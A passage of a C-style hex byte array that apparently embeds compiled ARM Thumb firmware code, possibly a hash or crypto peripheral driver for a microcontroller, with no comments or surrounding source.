0x06u, 0x60u, 0x00u, 0x00u, 0x05u, 0x50u, 0x00u, 0x00u, 0x07u, 0x70u, 0x00u, 0x00u, 0x08u, 0x80u, 0x00u, 0x00u,
0x09u, 0xa0u, 0x00u, 0x00u, 0x0au, 0xc0u, 0x00u, 0x00u, 0x0bu, 0x50u, 0x00u, 0x00u, 0x07u, 0xb0u, 0x00u, 0x00u,
0x34u, 0x07u, 0x00u, 0x08u, 0xb9u, 0xe0u, 0x00u, 0x00u, 0xbeu, 0xb0u, 0x00u, 0x00u, 0xf0u, 0xb5u, 0x0bu, 0x69u,
0x87u, 0xb0u, 0x03u, 0x93u, 0x4bu, 0x69u, 0x04u, 0x00u, 0x04u, 0x93u, 0x8bu, 0x69u, 0x0fu, 0x68u, 0x05u, 0x93u,
0x34u, 0x4bu, 0x4du, 0x68u, 0x1bu, 0x68u, 0x1eu, 0x1eu, 0x02u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1eu, 0x68u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0x3du, 0xffu, 0x31u, 0x00u, 0x82u, 0xb2u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1eu, 0xfbu,
0x6eu, 0x1cu, 0x2au, 0x00u, 0x20u, 0x00u, 0x0bu, 0x21u, 0xffu, 0xf7u, 0x68u, 0xfbu, 0x32u, 0x00u, 0x20u, 0x00u,
0x0du, 0x21u, 0xffu, 0xf7u, 0x63u, 0xfbu, 0x2au, 0x00u, 0x20u, 0x00u, 0x0cu, 0x21u, 0xffu, 0xf7u, 0x5eu, 0xfbu,
0x2au, 0x00u, 0x20u, 0x00u, 0x0eu, 0x21u, 0xffu, 0xf7u, 0x59u, 0xfbu, 0x2bu, 0x00u, 0x3au, 0x00u, 0x20u, 0x00u,
0x0bu, 0x21u, 0x00u, 0xf0u, 0xb3u, 0xfdu, 0x2bu, 0x00u, 0x0bu, 0x22u, 0x0du, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x77u, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe2u, 0xfau, 0x33u, 0x00u, 0x03u, 0x99u, 0x20u, 0x00u, 0x0du, 0x22u,
0x00u, 0xf0u, 0xe6u, 0xfdu, 0xc0u, 0x23u, 0x0bu, 0x26u, 0x20u, 0x00u, 0x1bu, 0x02u, 0x35u, 0x22u, 0x00u, 0x21u,
0xfeu, 0xf7u, 0xdau, 0xfdu, 0x0du, 0x23u, 0x0cu, 0x22u, 0x0eu, 0x21u, 0x20u, 0x00u, 0x01u, 0x95u, 0x00u, 0x96u,
0xffu, 0xf7u, 0x7eu, 0xfcu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc9u, 0xfau, 0x2bu, 0x00u, 0x05u, 0x99u, 0x20u, 0x00u,
0x0eu, 0x22u, 0x00u, 0xf0u, 0xcdu, 0xfdu, 0x2bu, 0x00u, 0x32u, 0x00u, 0x20u, 0x00u, 0x0cu, 0x21u, 0xffu, 0xf7u,
0xf9u, 0xfcu, 0x2bu, 0x00u, 0x0cu, 0x22u, 0x04u, 0x99u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xc1u, 0xfdu, 0xf0u, 0x21u,
0x20u, 0x00u, 0xc9u, 0x01u, 0xffu, 0xf7u, 0x12u, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xafu, 0xfau, 0x00u, 0x20u,
0x07u, 0xb0u, 0xf0u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x0bu, 0x00u, 0x13u, 0xb5u, 0x11u, 0x00u, 0x07u, 0x22u,
0x04u, 0x00u, 0x58u, 0x68u, 0x02u, 0x40u, 0xc0u, 0x20u, 0x80u, 0x00u, 0x22u, 0x50u, 0x1au, 0x69u, 0x20u, 0x00u,
0x00u, 0x92u, 0x9bu, 0x69u, 0xfeu, 0xf7u, 0xdcu, 0xffu, 0x0cu, 0x23u, 0x01u, 0x93u, 0x04u, 0x3bu, 0x00u, 0x93u,
0x20u, 0x00u, 0x04u, 0x3bu, 0x00u, 0x22u, 0x4cu, 0x21u, 0xffu, 0xf7u, 0x36u, 0xf8u, 0x04u, 0x4bu, 0x1bu, 0x68u,
0x1bu, 0x68u, 0xe4u, 0x18u, 0x04u, 0x23u, 0x22u, 0x68u, 0x1au, 0x42u, 0xfcu, 0xd1u, 0x13u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x00u, 0xb5u, 0x06u, 0x2au, 0x00u, 0xd9u, 0x80u, 0xe0u, 0x10u, 0x00u, 0x8bu, 0x60u,
0x1au, 0x00u, 0x01u, 0xf0u, 0xd1u, 0xfeu, 0x04u, 0x16u, 0x29u, 0x3au, 0x4du, 0x6cu, 0x5cu, 0x00u, 0x54u, 0x33u,
0x8bu, 0x61u, 0x3cu, 0x4bu, 0x00u, 0x20u, 0xcbu, 0x62u, 0x40u, 0x23u, 0xcbu, 0x60u, 0x2cu, 0x3bu, 0x4bu, 0x61u,
0x4bu, 0x62u, 0x2du, 0x33u, 0x40u, 0x32u, 0xffu, 0x33u, 0x0au, 0x61u, 0x08u, 0x60u, 0x48u, 0x60u, 0xcbu, 0x61u,
0x00u, 0xbdu, 0x60u, 0x33u, 0x8bu, 0x61u, 0x01u, 0x23u, 0x0bu, 0x60u, 0x4bu, 0x60u, 0x32u, 0x4bu, 0x40u, 0x32u,
0xcbu, 0x62u, 0x40u, 0x23u, 0xcbu, 0x60u, 0x20u, 0x3bu, 0x4bu, 0x61u, 0x04u, 0x3bu, 0x4bu, 0x62u, 0x0au, 0x61u,
0xe4u, 0x33u, 0xcbu, 0x61u, 0x00u, 0x20u, 0xebu, 0xe7u, 0x60u, 0x33u, 0x8bu, 0x61u, 0x02u, 0x23u, 0x0bu, 0x60u,
0x01u, 0x3bu, 0x4bu, 0x60u, 0x29u, 0x4bu, 0x40u, 0x32u, 0xcbu, 0x62u, 0x40u, 0x23u, 0xcbu, 0x60u, 0x20u, 0x3bu,
0x4bu, 0x61u, 0x4bu, 0x62u, 0x0au, 0x61u, 0xe0u, 0x33u, 0xebu, 0xe7u, 0xc0u, 0x33u, 0x8bu, 0x61u, 0x03u, 0x23u,
0x0bu, 0x60u, 0x01u, 0x3bu, 0x4bu, 0x60u, 0x22u, 0x4bu, 0x80u, 0x32u, 0xcbu, 0x62u, 0x80u, 0x23u, 0xcbu, 0x60u,
0x40u, 0x3bu, 0x4bu, 0x61u, 0x0au, 0x61u, 0x10u, 0x3bu, 0x4bu, 0x62u, 0xa0u, 0x23u, 0x9bu, 0x00u, 0xd8u, 0xe7u,
0xc0u, 0x33u, 0x8bu, 0x61u, 0x04u, 0x23u, 0x0bu, 0x60u, 0x02u, 0x3bu, 0x4bu, 0x60u, 0x19u, 0x4bu, 0x80u, 0x32u,
0xcbu, 0x62u, 0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0x0au, 0x61u, 0x4bu, 0x61u, 0xecu, 0xe7u, 0xc0u, 0x33u,
0x8bu, 0x61u, 0x06u, 0x23u, 0x0bu, 0x60u, 0x04u, 0x3bu, 0x4bu, 0x60u, 0x13u, 0x4bu, 0x80u, 0x32u, 0xcbu, 0x62u,
0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0x4bu, 0x61u, 0x0au, 0x61u, 0x24u, 0x3bu, 0xdcu, 0xe7u, 0xc0u, 0x33u,
0x8bu, 0x61u, 0x05u, 0x23u, 0x0bu, 0x60u, 0x03u, 0x3bu, 0x4bu, 0x60u, 0x0cu, 0x4bu, 0x80u, 0x32u, 0xcbu, 0x62u,
0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0x4bu, 0x61u, 0x0au, 0x61u, 0x20u, 0x3bu, 0xccu, 0xe7u, 0x08u, 0x48u,
0x96u, 0xe7u, 0xc0u, 0x46u, 0xf0u, 0x74u, 0x00u, 0x10u, 0x04u, 0x75u, 0x00u, 0x10u, 0x24u, 0x75u, 0x00u, 0x10u,
0x44u, 0x75u, 0x00u, 0x10u, 0x84u, 0x75u, 0x00u, 0x10u, 0xc4u, 0x75u, 0x00u, 0x10u, 0x04u, 0x76u, 0x00u, 0x10u,
0x0bu, 0x00u, 0x32u, 0x00u, 0x10u, 0xb5u, 0x00u, 0x29u, 0x01u, 0xd1u, 0x07u, 0x48u, 0x10u, 0xbdu, 0x00u, 0x24u,
0x4bu, 0x69u, 0x8cu, 0x62u, 0x0cu, 0x62u, 0xa3u, 0x42u, 0xf7u, 0xd0u, 0xcau, 0x6au, 0x9bu, 0xb2u, 0x09u, 0x69u,
0xfeu, 0xf7u, 0xa0u, 0xffu, 0x20u, 0x00u, 0xf1u, 0xe7u, 0x0bu, 0x00u, 0x32u, 0x00u, 0xf7u, 0xb5u, 0x07u, 0x00u,
0x0cu, 0x00u, 0x16u, 0x00u, 0x1du, 0x00u, 0x00u, 0x29u, 0x31u, 0xd0u, 0x00u, 0x2au, 0x2fu, 0xd0u, 0xcbu, 0x68u,
0x00u, 0x93u, 0x00u, 0x2bu, 0x2bu, 0xd0u, 0x00u, 0x2du, 0x01u, 0xd1u, 0x00u, 0x20u, 0xfeu, 0xbdu, 0x0bu, 0x6au,
0x5bu, 0x19u, 0x0bu, 0x62u, 0x89u, 0x6au, 0x00u, 0x9au, 0x6bu, 0x18u, 0x9au, 0x42u, 0x0au, 0xd9u, 0xa3u, 0x62u,
0x00u, 0x2du, 0xf2u, 0xd0u, 0xa2u, 0x68u, 0xabu, 0xb2u, 0x51u, 0x18u, 0x38u, 0x00u, 0x32u, 0x00u, 0xfeu, 0xf7u,
0x79u, 0xffu, 0xeau, 0xe7u, 0x00u, 0x9bu, 0xa2u, 0x68u, 0x5bu, 0x1au, 0x01u, 0x93u, 0x6bu, 0x46u, 0x51u, 0x18u,
0x9bu, 0x88u, 0x32u, 0x00u, 0x38u, 0x00u, 0xfeu, 0xf7u, 0x6du, 0xffu, 0x21u, 0x00u, 0xa2u, 0x68u, 0x38u, 0x00u,
0xffu, 0xf7u, 0xfau, 0xfeu, 0x01u, 0x9bu, 0x00u, 0x21u, 0xedu, 0x1au, 0xf6u, 0x18u, 0xdbu, 0xe7u, 0x01u, 0x48u,
0xd4u, 0xe7u, 0xc0u, 0x46u, 0x0bu, 0x00u, 0x32u, 0x00u, 0xf0u, 0xb5u, 0x87u, 0xb0u, 0x01u, 0x90u, 0x0cu, 0x00u,
0x15u, 0x00u, 0x00u, 0x29u, 0x58u, 0xd0u, 0x00u, 0x2au, 0x56u, 0xd0u, 0xcbu, 0x68u, 0x0fu, 0x69u, 0x03u, 0x93u,
0x8bu, 0x6au, 0x8eu, 0x68u, 0x00u, 0x93u, 0x0bu, 0x6au, 0xdbu, 0x00u, 0x02u, 0x93u, 0x70u, 0x23u, 0x05u, 0x93u,
0x03u, 0x9bu, 0x80u, 0x2bu, 0x01u, 0xd0u, 0x38u, 0x23u, 0x05u, 0x93u, 0x80u, 0x23u, 0x00u, 0x9au, 0x01u, 0x98u,
0xb3u, 0x54u, 0x6bu, 0x46u, 0x9bu, 0x89u, 0x51u, 0x1cu, 0x04u, 0x93u, 0x01u, 0x3bu, 0x9bu, 0x1au, 0x9bu, 0xb2u,
0x00u, 0x22u, 0x71u, 0x18u, 0xfeu, 0xf7u, 0x54u, 0xffu, 0x05u, 0x9bu, 0x00u, 0x9au, 0x93u, 0x42u, 0x0au, 0xd8u,
0x32u, 0x00u, 0x21u, 0x00u, 0x01u, 0x98u, 0xffu, 0xf7u, 0xbfu, 0xfeu, 0x04u, 0x9bu, 0x00u, 0x22u, 0x31u, 0x00u,
0x01u, 0x98u, 0xfeu, 0xf7u, 0x45u, 0xffu, 0x03u, 0x9bu, 0x02u, 0x99u, 0xf3u, 0x18u, 0x1au, 0x1fu, 0x09u, 0x0eu,
0x11u, 0x70u, 0x02u, 0x99u, 0xdau, 0x1eu, 0x09u, 0x0cu, 0x11u, 0x70u, 0x02u, 0x99u, 0x9au, 0x1eu, 0x09u, 0x0au,
0x11u, 0x70u, 0x6au, 0x46u, 0x12u, 0x7au, 0x01u, 0x3bu, 0x1au, 0x70u, 0x01u, 0x98u, 0x32u, 0x00u, 0x21u, 0x00u,
0xffu, 0xf7u, 0xa2u, 0xfeu, 0x60u, 0x6au, 0x80u, 0x08u, 0x00u, 0x28u, 0x01u, 0xd1u, 0x07u, 0xb0u, 0xf0u, 0xbdu,
0xfbu, 0x78u, 0x01u, 0x38u, 0x2bu, 0x70u, 0xbbu, 0x78u, 0x6bu, 0x70u, 0x7bu, 0x78u, 0xabu, 0x70u, 0x3bu, 0x78u,
0x04u, 0x37u, 0xebu, 0x70u, 0x04u, 0x35u, 0xefu, 0xe7u, 0x00u, 0x48u, 0xefu, 0xe7u, 0x0bu, 0x00u, 0x32u, 0x00u,
0x70u, 0xb5u, 0x05u, 0x00u, 0x0cu, 0x1eu, 0x15u, 0xd0u, 0xcbu, 0x68u, 0x00u, 0x22u, 0x9bu, 0xb2u, 0x89u, 0x68u,
0xfeu, 0xf7u, 0x0eu, 0xffu, 0x63u, 0x69u, 0x00u, 0x22u, 0x9bu, 0xb2u, 0x21u, 0x69u, 0x28u, 0x00u, 0xfeu, 0xf7u,
0x07u, 0xffu, 0xe3u, 0x69u, 0x28u, 0x00u, 0x9bu, 0xb2u, 0x00u, 0x22u, 0xa1u, 0x69u, 0xfeu, 0xf7u, 0x00u, 0xffu,
0x00u, 0x20u, 0x70u, 0xbdu, 0x00u, 0x48u, 0xfcu, 0xe7u, 0x0bu, 0x00u, 0x32u, 0x00u, 0xf0u, 0xb5u, 0x8fu, 0xb0u,
0x01u, 0x93u, 0x14u, 0xabu, 0x1fu, 0x78u, 0x19u, 0x4bu, 0x04u, 0x00u, 0x1bu, 0x68u, 0x00u, 0x91u, 0x16u, 0x00u,
0x1du, 0x1eu, 0x02u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1du, 0x68u, 0x30u, 0x22u, 0x00u, 0x21u, 0x02u, 0xa8u,
0x01u, 0xf0u, 0x0du, 0xfeu, 0x2bu, 0x00u, 0x3au, 0x00u, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7au, 0xfeu,
0x00u, 0x28u, 0x18u, 0xd1u, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x0cu, 0xffu, 0x00u, 0x28u, 0x12u, 0xd1u,
0x33u, 0x00u, 0x00u, 0x9au, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x18u, 0xffu, 0x00u, 0x28u, 0x0au, 0xd1u,
0x01u, 0x9au, 0x02u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4fu, 0xffu, 0x00u, 0x28u, 0x03u, 0xd1u, 0x02u, 0xa9u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xadu, 0xffu, 0x0fu, 0xb0u, 0xf0u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x03u, 0x4bu, 0x1bu, 0x68u, 0x9bu, 0x68u, 0xc0u, 0x18u, 0x0fu, 0x23u, 0x00u, 0x68u, 0x18u, 0x40u, 0x70u, 0x47u,
0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xc0u, 0x18u, 0x03u, 0x68u, 0x00u, 0x2bu,
0xfcu, 0xd1u, 0x70u, 0x47u, 0x38u, 0x05u, 0x00u, 0x08u, 0xf8u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u,
0x1du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe4u, 0xffu, 0x04u, 0x28u, 0xfau, 0xd8u, 0xe0u, 0x21u, 0x07u, 0x4bu,
0xc9u, 0x05u, 0x1bu, 0x68u, 0x0fu, 0x43u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x17u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u,
0x16u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0xf8u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x70u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xcau, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u,
0x03u, 0x4bu, 0x2du, 0x06u, 0x1bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x25u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb9u, 0xffu, 0x06u, 0x28u,
0xfau, 0xd8u, 0x04u, 0x4bu, 0x1bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0xc8u, 0x23u, 0xdbu, 0x05u, 0x23u, 0x60u,
0x10u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xa7u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu, 0x1bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0xcau, 0x23u,
0xdbu, 0x05u, 0x23u, 0x60u, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x05u, 0x00u,
0x0cu, 0x00u, 0x16u, 0x00u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x93u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x05u, 0x4bu,
0x24u, 0x02u, 0x1bu, 0x68u, 0xdbu, 0x68u, 0xedu, 0x18u, 0xccu, 0x23u, 0xdbu, 0x05u, 0x1eu, 0x43u, 0x34u, 0x43u,
0x2cu, 0x60u, 0x70u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x05u, 0x00u, 0x0cu, 0x00u, 0x16u, 0x00u,
0x28u, 0x00u, 0xffu, 0xf7u, 0x7du, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x05u, 0x4bu, 0x24u, 0x02u, 0x1bu, 0x68u,
0xdbu, 0x68u, 0xedu, 0x18u, 0xd0u, 0x23u, 0xdbu, 0x05u, 0x1eu, 0x43u, 0x34u, 0x43u, 0x2cu, 0x60u, 0x70u, 0xbdu,
0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x68u, 0xffu,
0x06u, 0x28u, 0xfau, 0xd8u, 0xceu, 0x21u, 0x04u, 0x4bu, 0xc9u, 0x05u, 0x1bu, 0x68u, 0x29u, 0x43u, 0xdbu, 0x68u,
0xe4u, 0x18u, 0x21u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x00u, 0xb5u, 0x06u, 0x2au,
0x68u, 0xd8u, 0x10u, 0x00u, 0x8bu, 0x60u, 0x01u, 0xf0u, 0x87u, 0xfcu, 0x04u, 0x1fu, 0x12u, 0x3bu, 0x2fu, 0x49u,
0x57u, 0x00u, 0x40u, 0x33u, 0x0bu, 0x61u, 0x69u, 0x23u, 0x4bu, 0x60u, 0x2fu, 0x4bu, 0x00u, 0x20u, 0xcbu, 0x62u,
0x40u, 0x23u, 0xcbu, 0x60u, 0x2cu, 0x3bu, 0x08u, 0x60u, 0x4bu, 0x61u, 0x4bu, 0x62u, 0x00u, 0xbdu, 0x40u, 0x33u,
0x0bu, 0x61u, 0x02u, 0x23u, 0x0bu, 0x60u, 0x68u, 0x33u, 0x4bu, 0x60u, 0x28u, 0x4bu, 0xcbu, 0x62u, 0x40u, 0x23u,
0xcbu, 0x60u, 0x20u, 0x3bu, 0x4bu, 0x61u, 0x0cu, 0xe0u, 0x40u, 0x33u, 0x0bu, 0x61u, 0x01u, 0x23u, 0x0bu, 0x60u,
0x69u, 0x33u, 0x4bu, 0x60u, 0x22u, 0x4bu, 0xcbu, 0x62u, 0x40u, 0x23u, 0xcbu, 0x60u, 0x20u, 0x3bu, 0x4bu, 0x61u,
0x04u, 0x3bu, 0x4bu, 0x62u, 0x00u, 0x20u, 0xe1u, 0xe7u, 0x80u, 0x33u, 0x0bu, 0x61u, 0x04u, 0x23u, 0x0bu, 0x60u,
0x67u, 0x33u, 0x4bu, 0x60u, 0x1bu, 0x4bu, 0xcbu, 0x62u, 0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0xe1u, 0xe7u,
0x80u, 0x33u, 0x0bu, 0x61u, 0x03u, 0x23u, 0x0bu, 0x60u, 0x68u, 0x33u, 0x4bu, 0x60u, 0x16u, 0x4bu, 0xcbu, 0x62u,
0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0x4bu, 0x61u, 0x10u, 0x3bu, 0xe2u, 0xe7u, 0x80u, 0x33u, 0x0bu, 0x61u,
0x05u, 0x23u, 0x0bu, 0x60u, 0x66u, 0x33u, 0x4bu, 0x60u, 0x10u, 0x4bu, 0xcbu, 0x62u, 0x80u, 0x23u, 0xcbu, 0x60u,
0x40u, 0x3bu, 0x4bu, 0x61u, 0x20u, 0x3bu, 0xd4u, 0xe7u, 0x80u, 0x33u, 0x0bu, 0x61u, 0x06u, 0x23u, 0x0bu, 0x60u,
0x65u, 0x33u, 0x4bu, 0x60u, 0x0au, 0x4bu, 0xcbu, 0x62u, 0x80u, 0x23u, 0xcbu, 0x60u, 0x40u, 0x3bu, 0x4bu, 0x61u,
0x24u, 0x3bu, 0xc6u, 0xe7u, 0x07u, 0x48u, 0xa9u, 0xe7u, 0x44u, 0x76u, 0x00u, 0x10u, 0x78u, 0x76u, 0x00u, 0x10u,
0x58u, 0x76u, 0x00u, 0x10u, 0xd8u, 0x76u, 0x00u, 0x10u, 0x98u, 0x76u, 0x00u, 0x10u, 0x58u, 0x77u, 0x00u, 0x10u,
0x18u, 0x77u, 0x00u, 0x10u, 0x0bu, 0x00u, 0x32u, 0x00u, 0x10u, 0xb5u, 0x00u, 0x29u, 0x01u, 0xd1u, 0x07u, 0x48u,
0x10u, 0xbdu, 0x00u, 0x24u, 0x4bu, 0x69u, 0x8cu, 0x62u, 0x0cu, 0x62u, 0xa3u, 0x42u, 0xf7u, 0xd0u, 0xcau, 0x6au,
0x9bu, 0xb2u, 0x09u, 0x69u, 0xfeu, 0xf7u, 0x40u, 0xfeu, 0x20u, 0x00u, 0xf1u, 0xe7u, 0x0bu, 0x00u, 0x32u, 0x00u,
0xf0u, 0xb5u, 0x85u, 0xb0u, 0x04u, 0x00u, 0x0du, 0x1eu, 0x03u, 0x92u, 0x01u, 0x93u, 0x00u, 0xd1u, 0x95u, 0xe0u,
0x00u, 0x2au, 0x00u, 0xd1u, 0x92u, 0xe0u, 0xcbu, 0x68u, 0x02u, 0x93u, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x8du, 0xe0u,
0x00u, 0x27u, 0x01u, 0x9bu, 0xbbu, 0x42u, 0x76u, 0xd0u, 0x0bu, 0x6au, 0x01u, 0x9au, 0x8eu, 0x6au, 0x9bu, 0x18u,
0x0bu, 0x62u, 0xffu, 0xf7u, 0xefu, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb4u, 0xfeu, 0x6bu, 0x69u, 0x2au, 0x69u,
0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb8u, 0xfeu, 0x6au, 0x69u, 0x39u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x05u, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa6u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xedu, 0xfeu, 0xbeu, 0x42u,
0x0du, 0xd0u, 0x33u, 0x00u, 0xaau, 0x68u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa5u, 0xfeu, 0x20u, 0x00u,
0x32u, 0x00u, 0x39u, 0x00u, 0xffu, 0xf7u, 0xf2u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x93u, 0xfeu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x86u, 0xfeu, 0x04u, 0x28u, 0xfau, 0xd8u, 0x86u, 0x22u, 0x52u, 0x01u, 0xa3u, 0x58u, 0x00u, 0x2bu,
0xfcu, 0xdbu, 0x2bu, 0x4bu, 0x2bu, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x11u, 0x60u, 0xdau, 0x68u,
0x03u, 0x99u, 0xa2u, 0x18u, 0x11u, 0x60u, 0xdbu, 0x68u, 0x01u, 0x9au, 0xe3u, 0x18u, 0x1au, 0x60u, 0x01u, 0x9bu,
0x02u, 0x9au, 0x9bu, 0x19u, 0x9au, 0x42u, 0x31u, 0xd9u, 0xabu, 0x62u, 0x01u, 0x9bu, 0x00u, 0x2bu, 0x07u, 0xd0u,
0x20u, 0x00u, 0x1au, 0x00u, 0x31u, 0x00u, 0xffu, 0xf7u, 0xc9u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x6au, 0xfeu,
0xabu, 0x6au, 0x00u, 0x2bu, 0x0bu, 0xd0u, 0xaau, 0x68u, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x6cu, 0xfeu,
0x20u, 0x00u, 0xa9u, 0x6au, 0xffu, 0xf7u, 0xe6u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5bu, 0xfeu, 0x6bu, 0x69u,
0x2au, 0x69u, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5fu, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x9cu, 0xfeu,
0x69u, 0x69u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd6u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4bu, 0xfeu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x92u, 0xfeu, 0x00u, 0x27u, 0x38u, 0x00u, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0x02u, 0x9bu, 0x31u, 0x00u,
0x9fu, 0x1bu, 0x3au, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x99u, 0xfeu, 0x69u, 0x68u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x5fu, 0xfeu, 0x01u, 0x9bu, 0x00u, 0x26u, 0xdbu, 0x1bu, 0x01u, 0x93u, 0xb8u, 0xe7u, 0x02u, 0x4fu, 0xeau, 0xe7u,
0x38u, 0x05u, 0x00u, 0x08u, 0x08u, 0x00u, 0x00u, 0x71u, 0x0bu, 0x00u, 0x32u, 0x00u, 0xf0u, 0xb5u, 0x85u, 0xb0u,
0x04u, 0x00u, 0x0du, 0x1eu, 0x02u, 0x92u, 0x00u, 0xd1u, 0x7bu, 0xe0u, 0x00u, 0x2au, 0x00u, 0xd1u, 0x78u, 0xe0u,
0x8bu, 0x6au, 0x0au, 0x6au, 0x00u, 0x93u, 0x53u, 0x0fu, 0x03u, 0x93u, 0x70u, 0x23u, 0xceu, 0x68u, 0xd7u, 0x00u,
0x01u, 0x93u, 0x80u, 0x2eu, 0x01u, 0xd0u, 0x38u, 0x3bu, 0x01u, 0x93u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4au, 0xfeu,
0x20u, 0x00u, 0xffu, 0xf7u, 0x0fu, 0xfeu, 0x6bu, 0x69u, 0x2au, 0x69u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x13u, 0xfeu, 0x6au, 0x69u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x60u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u,
0x01u, 0xfeu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x48u, 0xfeu, 0x00u, 0x9bu, 0xaau, 0x68u, 0x08u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x02u, 0xfeu, 0x00u, 0x9au, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4fu, 0xfeu, 0x20u, 0x00u,
0xffu, 0xf7u, 0xf0u, 0xfdu, 0x80u, 0x22u, 0x00u, 0x99u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5du, 0xfeu, 0x01u, 0x9bu,
0x00u, 0x9au, 0x93u, 0x42u, 0x06u, 0xd8u, 0x20u, 0x00u, 0x69u, 0x68u, 0xffu, 0xf7u, 0x09u, 0xfeu, 0x20u, 0x00u,
0xffu, 0xf7u, 0xe0u, 0xfdu, 0x6bu, 0x46u, 0x71u, 0x1fu, 0x1au, 0x7bu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4cu, 0xfeu,
0x3au, 0x0eu, 0x31u, 0x1fu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x47u, 0xfeu, 0x3au, 0x0cu, 0xd2u, 0xb2u, 0xf1u, 0x1eu,
0x20u, 0x00u, 0xffu, 0xf7u, 0x41u, 0xfeu, 0x3au, 0x0au, 0xd2u, 0xb2u, 0xb1u, 0x1eu, 0x20u, 0x00u, 0xffu, 0xf7u,
0x3bu, 0xfeu, 0xfau, 0xb2u, 0x71u, 0x1eu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x36u, 0xfeu, 0x69u, 0x68u, 0x20u, 0x00u,
